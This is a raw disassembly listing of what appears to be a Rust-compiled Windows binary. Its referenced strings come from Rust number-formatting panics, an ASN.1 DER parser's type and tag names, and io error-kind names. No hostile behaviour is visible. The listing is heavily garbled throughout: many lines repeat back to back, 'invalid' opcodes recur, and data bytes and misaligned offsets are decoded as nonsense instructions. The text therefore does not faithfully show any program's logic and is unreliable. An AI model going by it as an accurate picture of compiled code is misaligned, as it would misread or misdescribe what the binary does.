mov r8, rdi
call fcn.1a7f1c22810
cmp rdi, 0xf
ja 0x1a7f1b7305e
mov byte [rsp + rdi + 0x58], 0x30
add rdi, 2
mov rax, qword [rsp + 0x30]
inc eax
mov qword [rsp + 0x30], rax
mov r13, rdi
jmp 0x1a7f1b72f1b
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
jmp 0x1a7f1b72fea
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov ecx, 0x11
mov edx, 0x11
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_bignum.rs
jmp 0x1a7f1b7303c
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, r15
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, r14
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov ecx, 0x28
mov edx, 0x28
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, rsi
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov edx, 0x11
mov rcx, r13
call fcn.1a7f1c2fb60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, rax
call fcn.1a7f1c2fbe0
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
call fcn.1a7f1c2fbe0
ud2
lea rcx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x1a
call fcn.1a7f1c2fc60
ud2
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, r15
call fcn.1a7f1c2fbe0
ud2
mov qword [rsp + 0x1b0], 0
lea rcx, [rsp + 0x4f8]
lea rdx, [rsp + 0x450]
lea r8, [rsp + 0x1b0]
call fcn.1a7f1c2fcb0
ud2
lea rcx, [0x1a7f1c3a18f]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x1c
call fcn.1a7f1c2fc60
ud2
lea rcx, [0x1a7f1c39ff0]
lea r8, [0x1a7f1c3a030]
mov edx, 0x1d
call fcn.1a7f1c2fc60
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov edx, 0x11
mov rcx, r13
call fcn.1a7f1c2fbe0
ud2
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
mov dword [rax + 8], ecx
mov qword [rax + 0x80], rsi
mov dword [rax + 0x80], esi
add byte [rax], al
mov qword [rax + 0x100], rsi
and qword [rax + 0x180], 0
add byte [rcx], 0
add byte [rax], al
invalid
mov al, 0
add dword [rax], eax
add byte [rax - 0x7d], cl
movabs al, byte [0xa083480000000180]
add byte [rcx], 0
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add byte [rcx], 0
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
movabs al, byte [0xb8b480000000200]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
and qword [rax + 0x200], 0
mov rcx, qword [rbx]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
or ecx, dword [rax - 0x77]
mov qword [rcx], rax
mov rax, qword [rdi]
mov eax, dword [rdi]
mov qword [rcx], rax
mov rax, qword [rdi]
mov eax, dword [rdi]
mov eax, dword [rdi]
mov byte [rax], 1
add rsp, 0x840
or byte [rax], al
invalid
add dword [rax - 0x7f], ecx
invalid
or byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
ret
lea rcx, [0x1a7f1c8b482]
insd dword [rdi], dx
adc dword [rax], eax
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4library_std_src_synconce.rs
lea eax, [0x1a7f1c55af8]
add byte [rdx + 0x2b], bh
mov edx, 0x2b
add al, ch
popfq
mov ch, 0xb
add byte [rdi], cl
or ecx, dword [rax - 0x75]
add dword [rax - 0x75], ecx
push rcx
or byte [rax - 0x7d], cl
and dword [rax], eax
call fcn.1a7f1c2fc60
ud2
mov byte [rcx + 0x10], 2
mov rcx, rax
jmp fcn.1a7f1b740d0
add byte [rcx - 0x75], cl
or al, 0xc8
invalid
enter 0xffffffffffffc748, 0xffffffffffffff81
mov qword [rcx + 0xb8], 1
mov eax, 0x1000000
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 0xc0], rax
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rcx + 0xc0], rax
mov qword [rcx + 0xc8], rdx
mov dword [rcx + 0xc8], edx
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx + 0xc8], edx
mov dword [rcx + 0xc8], edx
add byte [rax], al
add rsp, 0x28
ret
invalid
sub rsp, 0x20
mov rsi, qword [rcx]
mov rcx, qword [rsi + 0x18]
mov ecx, dword [rsi + 0x18]
mov ecx, dword [rsi + 0x18]
test rcx, rcx
test ecx, ecx
je case.0x1a7f1b5b061.157
mov byte [rcx], 0
cmp qword [rsi + 0x20], 0
cmp dword [rsi + 0x20], 0
cmp dword [rsi + 0x20], 0
je case.0x1a7f1b5b061.157
mov edx, 1
call fcn.1a7f1b62d00
vpaddd ymm7, ymm3, ymm7
add byte [rax], al
add al, ch
vpaddd ymm7, ymm3, ymm7
cmp rsi, 0xffffffffffffffff
je 0x1a7f1b7475a
lock dec qword [rsi + 8]
jne 0x1a7f1b7475a
or byte [rbp + 0x12], r14b
mov edx, 8
or byte [rax], al
add byte [rax], al
mov rcx, rsi
mov ecx, esi
add rsp, 0x20
pop rsi
jmp fcn.1a7f1b62d00
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
ret
mov eax, edx
mov rcx, qword [rcx]
lea rdx, [rcx + 8]
lea r8, [rsp + 0x60]
mov qword [r8], rdx
lea rdx, [0x1a7f1c435c0]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], r8
lea rdx, str.error_len
mov qword [rsp + 0x38], rdx
lea rdx, [0x1a7f1c435a0]
adc eax, 0xcee05
adc eax, 0xcee05
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 9
mov qword [rsp + 0x20], 0xb
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x116dfa
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x116dfa
lea r9, [0x1a7f1c8b5c1]
mov r8d, 9
add byte [rax], al
add byte [rax], al
mov rcx, rax
call fcn.1a7f1b6d1c0
nop
add rsp, 0x68
ret
sub esp, 0x38
mov rax, qword [rcx]
cmp byte [rax], 0
je case.0x1a7f1b61633.205
inc rax
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x1a7f1c43600]
add eax, 0xcee09
ror byte [rbp + rcx*4 + 0x4c], 0x24
xor byte [rcx - 0x77], cl
add dword [rax - 0x73], ecx
add eax, 0xcee09
mov qword [rsp + 0x20], rax
lea rax, [0x1a7f1c8b624]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.1a7f1b6d420
nop
add rsp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSome
mov r8d, 4
add rsp, 0x38
jmp rax
jmp rax
jmp rax
mov rax, qword [rax + 8]
mov r8, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov rdx, rax
jmp 0x1a7f1b6d610
sub esp, 0x38
mov rax, qword [rcx]
cmp dword [rax], 0
je 0x1a7f1b74896
in al, dx
cmp byte [rax - 0x75], cl
add dword [rbx + 0x36740038], eax
add rax, 4
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x1a7f1c435e0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rax, [0x1a7f1c8b624]
mov r8d, 4
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d420
nop
mov edi, edi
invalid
nop
nop
mov edi, edi
call qword [rax + 0x38c48348]
add rsp, 0x38
add rsp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x116d77
insd dword [rdi], dx
adc dword [rax], eax
sbb byte [rax - 0x73], cl
adc eax, 0x116d77
insd dword [rdi], dx
adc dword [rax], eax
insd dword [rdi], dx
adc dword [rax], eax
mov r8d, 4
add rsp, 0x38
jmp rax
cmp byte [rax - 0x77], cl
ror byte [rax - 0x75], 1
or dword [rbp + rcx*4 + 0x4c], ecx
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
or eax, 0xcf459
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
or eax, 0xcf459
mov qword [rsp + 0x20], rcx
lea rdx, str.Length
cmp dword gs:[rsi], ecx
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax], al
cmp dword gs:[rsi], ecx
add byte [rcx - 0x48], al
invalid
add byte [rax], al
mov rcx, rax
mov ecx, eax
shr eax, 0x37
mov edi, edi
invalid
call qword [rax + 0x38c48348]
add esp, 0x38
call fcn.1a7f1b6d420
nop
add rsp, 0x38
add esp, 0x38
invalid
add esp, 0x38
ret
sub rsp, 0xf8
mov rcx, qword [rcx]
mov ecx, dword [rcx]
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rcx]
invalid
invalid
mov ecx, dword [rcx]
mov qword [rsp + 0x30], rcx
and al, 0x30
movzx eax, word [rcx]
mov bh, 1
add dword [rdi], ecx
mov dh, 0x49
add al, r9b
movzx ecx, byte [rcx + 2]
shl ecx, 0x10
invalid
add al, r9b
loope case.0x1a7f1b5b061.174
adc byte [rcx], cl
rol dword [rdi + rcx - 0x4a], 0xc1
movzx eax, cl
or ecx, eax
movzx r8d, cl
movzx eax, cl
movzx eax, cl
ror dword [rbp + rcx*4 + 0xd], 0x73
cwde
lea r9, [0x1a7f1c9e188]
lea ecx, [0x1a7f1c9e188]
adc al, byte [rax]
movsxd r8, dword [r9 + r8*4]
add al, 0x81
or dword [rbp + 1], 0xe0ff41c8
add r8, r9
jmp r8
enter 0xffffffffffffff41, 0xffffffffffffffe0
mov al, 1
jmp 0x1a7f1b7498a
mov al, 2
jmp 0x1a7f1b7498a
mov al, 3
jmp 0x1a7f1b7498a
mov al, 4
jmp 0x1a7f1b7498a
mov al, 5
jmp 0x1a7f1b7498a
add eax, 0x6b057eb
mov al, 6
jmp 0x1a7f1b7498a
mov al, 9
jmp 0x1a7f1b7498a
mov al, 0xa
jmp 0x1a7f1b7498a
mov al, 0xc
jmp 0x1a7f1b7498a
or al, 0xeb
mov r8b, 0x30
mov al, 0x30
mov al, 0x30
jmp 0x1a7f1b7498a
mov al, 0x31
xor ebx, ebp
invalid
jmp 0x1a7f1b7498a
mov al, 0x12
jmp 0x1a7f1b7498a
mov al, 0x13
jmp 0x1a7f1b7498a
mov al, 0x14
jmp 0x1a7f1b7498a
mov al, 0x15
jmp 0x1a7f1b7498a
adc eax, 0x16b02feb
mov al, 0x16
jmp 0x1a7f1b7498a
mov al, 0x17
jmp 0x1a7f1b7498a
mov al, 0x18
jmp 0x1a7f1b7498a
mov al, 0x1a
jmp 0x1a7f1b7498a
mov r8b, 0x40
jmp 0x1a7f1b74978
mov r8b, 0x80
jmp 0x1a7f1b74978
mov r8b, 0xc0
shr eax, 8
shr ecx, 0xb
and cl, 0x20
or al, r8b
or al, cl
jmp 0x1a7f1b7498a
mov al, 0x1e
lea rcx, [rsp + 0x2f]
mov byte [rcx], al
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rax], rcx
lea rcx, [0x1a7f1b6f850]
mov qword [rax + 8], rcx
lea rcx, [rsp + 0x30]
mov qword [rax + 0x10], rcx
lea rcx, [0x1a7f1b74a48]
mov qword [rax + 0x18], rcx
sbb byte [rcx + 2], bh
sbb byte [rcx + 2], bh
lea r9, [rsp + 0x88]
mov qword [r9], rcx
mov dword [rcx], ecx
mov dword [rcx], ecx
and qword [r9 + 0x10], 0
mov qword [r9 + 0x18], rcx
and qword [r9 + 0x20], 0
invalid
add byte [rcx - 0x48], cl
and byte [rax], al
add byte [rax], al
movabs r8, 0x800000020
or byte [rax], al
add byte [rax], al
mov qword [r9 + 0x28], r8
mov r8b, 3
mov byte [r9 + 0x30], r8b
mov qword [r9 + 0x38], rcx
cmp byte [rcx - 0x77], cl
mov qword [r9 + 0x50], rcx
push rax
cmp byte [rcx - 0x77], cl
mov qword [r9 + 0x50], rcx
push rax
push rax
mov qword [r9 + 0x58], 1
mov qword [r9 + 0x60], 0x20
add byte [rbp - 0x78], al
push 0xffffffffe6158d4c
out 0xf2, al
or al, 0
add byte [rbp - 0x78], al
push 0xffffffffe6158d4c
out 0xf2, al
or al, 0
out 0xf2, al
or al, 0
lea r8, [rsp + 0x58]
mov qword [r8], r10
mov qword [r8 + 8], 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov qword [r8 + 0x20], r9
mov qword [r8 + 0x28], rcx
mov qword [r8 + 0x10], rax
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x75], cl
invalid
invalid
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rdx, qword [rdx + 0x28]
invalid
mov cl, 0x86
xchg bh, bh
mov rdx, qword [rdx + 0x28]
call fcn.1a7f1b6d0f0
xchg bh, bh
call qword [rax - 0x73b7eb8]
add esp, 0xf8
xchg bh, bh
call qword [rax - 0x73b7eb8]
add esp, 0xf8
ret
sub rsp, 0x78
mov rax, qword [rcx]
add dword [rdi], ecx
mov dh, 8
invalid
add esp, 0xf8
ret
add dword [rdi], ecx
mov dh, 8
invalid
or byte [rbp + rcx*4 + 5], cl
mov edx, dword [rdi + 0x63490012]
xchg edi, eax
adc al, byte [rax]
movsxd rcx, dword [r8 + rcx*4]
lea r8, [0x1a7f1c9e1e4]
xchg edi, eax
adc al, byte [rax]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
sar edi, 0xe1
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf0b3
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf0b3
lea edx, str.BOOLEANINTEGERBIT_STRINGOCTET_STRINGNULLOBJECT_IDENTIFIERREALENUMERATEDUTF8StringSEQUENCESETNumericStringPrintableStringTeletexStringVideotexStringIA5StringUTCTimeGeneralizedTimeVisibleStringBMPStringAPPLICATION_____
jmp 0x1a7f1b74c16
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf0a2
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf0a2
jmp 0x1a7f1b74c16
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43b36]
lea edx, [0x1a7f1c43b36]
lea edx, [0x1a7f1c43b36]
invalid
jmp case.0x1a7f1b6fd85.49
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf083
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf083
mov r8d, 0xc
jmp case.0x1a7f1b61633.237
add byte [rax], al
add cl, ch
mov ebx, 0x48000002
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xcf071
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf071
jmp case.0x1a7f1b75771.33
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43b50]
invalid
invalid
or al, 0
invalid
mov r8d, 0x11
jmp case.0x1a7f1b61633.237
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c43b61]
mov r8d, 4
jmp case.0x1a7f1b61633.237
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43b65]
invalid
or al, 0
invalid
jmp case.0x1a7f1b6fd85.49
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43b6f]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf02e
mov r8d, 0xa
mov eax, 0xa
add byte [rax], al
add cl, ch
invalid
jmp case.0x1a7f1b61633.237
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43b79]
lea edx, [0x1a7f1c43b79]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c43b79]
lea edx, [0x1a7f1c43b79]
mov r8d, 8
jmp case.0x1a7f1b61633.237
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcf004
lea rdx, [0x1a7f1c43b81]
lea edx, [0x1a7f1c43b81]
mov r8d, 3
jmp case.0x1a7f1b61633.237
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcefe9
lea rdx, [0x1a7f1c43b84]
lea edx, [0x1a7f1c43b84]
jmp 0x1a7f1b74c52
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xcefde
lea rdx, [0x1a7f1c43b91]
jmp 0x1a7f1b74c34
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43ba0]
out dx, eax
or al, 0
invalid
add cl, ch
test dword [rax], eax
add byte [rax], al
jmp 0x1a7f1b74c52
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43bad]
mov r8d, 0xe
invalid
add byte [rax], al
add cl, ch
cwde
add dword [rax], eax
invalid
invalid
add byte [rax], al
add cl, ch
cwde
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43bbb]
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43bbb]
invalid
add cl, ch
jp case.0x1a7f1b5b061.186
jmp 0x1a7f1b74d7d
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c43bc4]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c43bc4]
mov r8d, 7
invalid
jmp case.0x1a7f1b61633.237
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xcef97
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43bcb]
invalid
add byte [rcx - 0x48], al
sldt word [rax]
add cl, ch
add dword [rax], r8d
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43bda]
lea edx, [0x1a7f1c43bda]
mov r8d, 0xf
mov eax, 0xf
jmp case.0x1a7f1b61633.237
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43bda]
lea edx, [0x1a7f1c43bda]
lea edx, [0x1a7f1c43bda]
mov r8d, 0xd
mov eax, 0xd
or eax, 0xe9000000
add dword es:[rax], eax
add byte [rdi], cl
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
lea r8, [rsp + 0x27]
jmp case.0x1a7f1b61633.237
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
lea r8, [rsp + 0x27]
mov byte [r8], al
shl rcx, 4
loope 0x1a7f1b74c74
loope 0x1a7f1b74c74
lea rax, str.primitiveconstructed
out dx, eax
or al, 0
add rax, rcx
lea rcx, [rsp + 0x28]
mov qword [rcx], r8
lea r8, [0x1a7f1b74d8a]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
adc byte [rax - 0x73], cl
add eax, 0xffff3b98
cwde
cmp edi, edi
invalid
adc byte [rax - 0x73], cl
add eax, 0xffff3b98
cwde
cmp edi, edi
invalid
cwde
cmp edi, edi
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], cl
add eax, 0xcef5d
mov qword [rcx + 0x18], rax
lea rax, [0x1a7f1c43c00]
jmp 0x1a7f1b74d36
mov es, word [rax]
add byte [rax], al
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
lea r8, [rsp + 0x27]
mov byte [r8], al
shl rcx, 4
lea rax, str.primitiveconstructed
out dx, eax
or al, 0
out dx, eax
or al, 0
add rax, rcx
lea rcx, [rsp + 0x28]
mov qword [rcx], r8
lea r8, [0x1a7f1b74d8a]
lea eax, [0x1a7f1b74d8a]
lea eax, [0x1a7f1b74d8a]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
lea rax, [0x1a7f1b68830]
add eax, 0xffff3b4d
add eax, 0xffff3b4d
cmp r15, r15
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], cl
add eax, 0xcef92
mov qword [rcx + 0x18], rax
lea rax, str.CONTEXT_SPECIFIC__
jmp 0x1a7f1b74d36
movzx ecx, byte [rax + 2]
mov al, byte [rax + 1]
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x27
add dword [rbp + rcx*4 + 0x44], ecx
and al, 0x27
mov byte [r8], al
shl rcx, 4
lea rax, str.primitiveconstructed
add rax, rcx
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov qword [rcx], r8
lea r8, [0x1a7f1b74d8a]
add dword [rbp + rcx*4 + 5], ecx
outsb dx, byte [rsi]
add byte [rax], al
add byte [rcx + rcx*4 + 0x41], cl
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
lea rax, [0x1a7f1b68830]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
lea rax, [0x1a7f1b68830]
mov qword [rcx + 0x18], rax
lea rax, str.PRIVATE__
mov ch, bh
or al, 0
sbb byte [r8 - 0x73], cl
add eax, 0xcef8a
mov ch, bh
or al, 0
mov ch, bh
or al, 0
lea r8, [rsp + 0x48]
mov qword [r8], rax
mov qword [r8 + 8], 3
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
adc byte [rcx - 0x39], cl
sbb byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
invalid
cmp edi, 0xffffffff
adc byte [rcx - 0x39], cl
sbb byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
mov word [rbx + 0x4890ffff], es
nop
add rsp, 0x78
invalid
nop
add rsp, 0x78
invalid
js 0x1a7f1b74d2d
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43be7]
mov r8d, 9
add byte [rax - 0x7d], cl
invalid
add rsp, 0x78
jmp rax
mov dword [rax + 8], ecx
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
or byte [rax - 0x73], cl
or eax, 0x1285f0
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
and dword [rax + 0x20], 0
and dword [rax + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1a7f1b6d0f0
nop
add rsp, 0x68
ret
sub rsp, 0x68
mov rax, qword [rcx]
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
mov qword [rax], rcx
mov dword [rax], ecx
mov dword [rax], ecx
lea rcx, [0x1a7f1b677ab]
mov qword [rax + 8], rcx
or byte [rax - 0x73], cl
or eax, 0xc5146
sub edi, edi
dec dword [rax - 0x77]
or byte [rax - 0x73], cl
or byte [rax - 0x73], cl
or byte [rax - 0x73], cl
or eax, 0xc5146
push rcx
or al, 0
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], 2
or byte [rdx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
and byte [rax], al
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 1
mov dword [rax + 0x18], 1
or byte [rdx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
mov dword [rax + 0x18], 1
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub al, ch
invalid
invalid
invalid
invalid
nop
sub al, ch
rol byte [rdx + 0x4890ffff], 0x83
invalid
invalid
nop
invalid
invalid
invalid
invalid
add rsp, 0x68
ret
xchg esp, eax
ror dword [rbp + rcx*4 + 0x44], 9
or eax, 0xcb0d8d48
sub byte [rsi], cl
add byte [rax - 0x73], cl
add eax, 0xce66c
cmove rax, rcx
ror dword [rax - 0x75], 0x4a
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov ecx, dword [rdx + 0x18]
ror dword [rax - 0x75], 0x4a
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov ecx, dword [rdx + 0x18]
mov rdx, rax
invalid
invalid
mov ecx, dword [rdx + 0x18]
mov rdx, rax
jmp r9
mov rax, qword [rcx]
movzx eax, byte [rax]
lea rcx, [0x1a7f1c9d3d0]
adc al, byte [rax]
adc al, byte [rax]
mov r8, qword [rcx + rax*8]
lea rcx, str.NotFoundPermissionDeniedConnectionRefusedConnectionResetHostUnreachableNetworkUnreachableConnectionAbortedNotConnectedAddrInUseAddrNotAvailableNetworkDownBrokenPipeAlreadyExistsWouldBlockNotADirectoryIsADirectoryDirectoryNotEmptyReadOnlyFilesystemFilesystemLoopStaleNetworkFileHandleInvalidInputInvalidDataTimedOutWriteZeroStorageFullNotSeekableFilesystemQuotaExceededFileTooLargeResourceBusyExecutableFileBusyDeadlockCrossesDevicesTooManyLinksInvalidFilenameArgumentListTooLongInterruptedUnsupportedUnexpectedEofOutOfMemoryOtherUncategorizedapi_ms_win_core_synch_l1_2_0
xchg byte [rdx], dl
add byte [rax - 0x75], cl
add al, 0xc1
invalid
xchg byte [rdx], dl
add byte [rax - 0x75], cl
add al, 0xc1
invalid
ror dword [rax - 0x75], 0x4a
and byte [rax - 0x75], cl
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
sbb byte [rax - 0x77], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
sbb byte [rax - 0x77], cl
ret 0xff49
in al, dx
mov rax, qword [rcx]
movzx ecx, byte [rax]
mov dh, 8
mov dh, 8
lea r8, [0x1a7f1c9e240]
movsxd rcx, dword [r8 + rcx*4]
or al, 0x88
add byte [rcx + 0x63], cl
or al, 0x88
add rcx, r8
jmp rcx
inc rax
lea r9, [rsp + 0x40]
mov qword [r9], rax
mov dword [rcx], eax
mov dword [rcx], eax
